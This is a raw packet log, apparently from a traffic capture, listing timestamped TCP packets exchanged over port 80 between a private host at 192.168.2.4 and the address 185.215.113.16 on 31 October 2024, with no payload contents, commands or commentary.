Oct 31, 2024 23:37:18.676647902 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676670074 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.676755905 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676768064 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676778078 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676789999 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676800966 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676816940 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676821947 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.676829100 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676837921 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.676839113 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676851034 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676862955 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676867962 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.676873922 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676884890 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.676887035 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676898003 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676911116 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676922083 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676922083 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.676934004 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676938057 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.676947117 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.676950932 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.677139997 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677150965 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677162886 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677172899 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677175999 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.677186012 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677196980 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677206993 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677208900 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.677216053 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.677226067 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677237034 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677247047 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677248955 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.677258968 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677273035 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.677277088 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677289009 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677298069 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677299976 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.677309990 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677320004 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.677329063 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677330017 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.677341938 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677351952 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677391052 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.677391052 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.677407980 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677418947 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677431107 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677442074 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677452087 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677453041 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.677463055 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677474976 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677475929 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.677486897 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677498102 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.677573919 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677592993 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677598953 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.677603960 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677615881 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677627087 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677634954 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.677639008 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677653074 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677659988 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.677663088 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677675009 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677685022 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.677686930 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677700043 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677722931 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.677722931 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.677730083 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677742004 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677752972 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677763939 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677774906 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677788019 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.677788019 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.677875042 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677886009 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677898884 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.677908897 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677920103 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677928925 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677932978 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.677942991 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677953959 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677953959 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.677966118 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677977085 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677985907 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.677988052 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.677997112 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678008080 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.678008080 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678021908 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678044081 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678054094 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.678054094 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.678059101 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678081989 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.678114891 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678124905 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678134918 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678163052 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678174973 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678184032 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678186893 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.678196907 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678206921 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.678375959 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678392887 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678404093 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678416967 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.678421974 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678433895 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678442955 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678446054 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.678461075 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678467035 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.678473949 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678482056 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.678483963 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678495884 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678507090 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678518057 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678529024 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.678535938 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.678535938 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678556919 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678569078 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678581953 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.678584099 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678596973 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678606987 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678607941 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.678618908 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678631067 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678637981 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.678703070 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678719044 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678725004 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.678729057 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678740978 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678751945 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678757906 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678764105 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678770065 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678780079 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678791046 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678795099 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.678802967 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678809881 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.678814888 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678848982 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.678879976 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678891897 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.678904057 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.679020882 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679033041 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679043055 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679047108 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.679054976 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679065943 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679075956 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679079056 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.679088116 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679094076 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.679100037 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679111958 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679121971 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679126024 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.679135084 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679143906 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.679153919 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.679255009 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679266930 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679277897 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679301023 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.679310083 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679326057 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679333925 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.679337978 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679351091 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679372072 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.679538965 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679550886 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679559946 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679563999 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.679572105 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679583073 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679585934 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.679594994 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679605961 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679613113 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.679616928 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679630041 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679673910 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.679673910 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.679694891 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679711103 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679722071 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679733992 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679745913 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679757118 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679758072 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.679768085 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679779053 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679789066 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679790974 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.679800034 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679811954 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679821014 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679824114 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.679825068 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.679832935 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679843903 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679848909 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.679856062 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679864883 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.679867983 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679883957 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.679889917 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.681246042 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.688153982 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.693079948 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693092108 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693104029 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693233967 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693244934 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693254948 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693260908 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.693264961 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693285942 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693288088 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.693288088 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.693296909 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693308115 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693319082 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693330050 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693331957 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.693341017 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693347931 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.693353891 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693365097 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693371058 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.693377972 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693382978 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.693417072 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693429947 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693439007 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693442106 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.693451881 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693463087 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.693470001 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693480968 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693490982 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693494081 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.693500996 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693511963 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693517923 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.693522930 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693535089 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693542957 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.693547010 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693571091 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.693614960 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693628073 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693638086 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693643093 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.693651915 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693661928 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.693768978 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693780899 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693790913 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693793058 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.693803072 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693813086 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.693820953 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693833113 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693842888 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693845034 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.693855047 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693866014 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693875074 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693878889 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.693886995 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693895102 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.693898916 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693906069 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.693912029 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693922997 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693933010 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.693934917 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693948030 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693955898 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.693959951 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693973064 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.693994999 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.694149017 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.694192886 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694204092 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694221973 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694231987 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694242954 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694258928 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694257975 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.694269896 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.694269896 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694283009 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694293022 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694295883 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.694303989 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694313049 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.694315910 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694328070 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694338083 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694348097 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694350958 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.694350958 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.694360971 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694371939 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694381952 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694391966 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694403887 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694405079 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.694415092 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.694430113 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.694430113 CET	49739	80	192.168.2.4	185.215.113.16
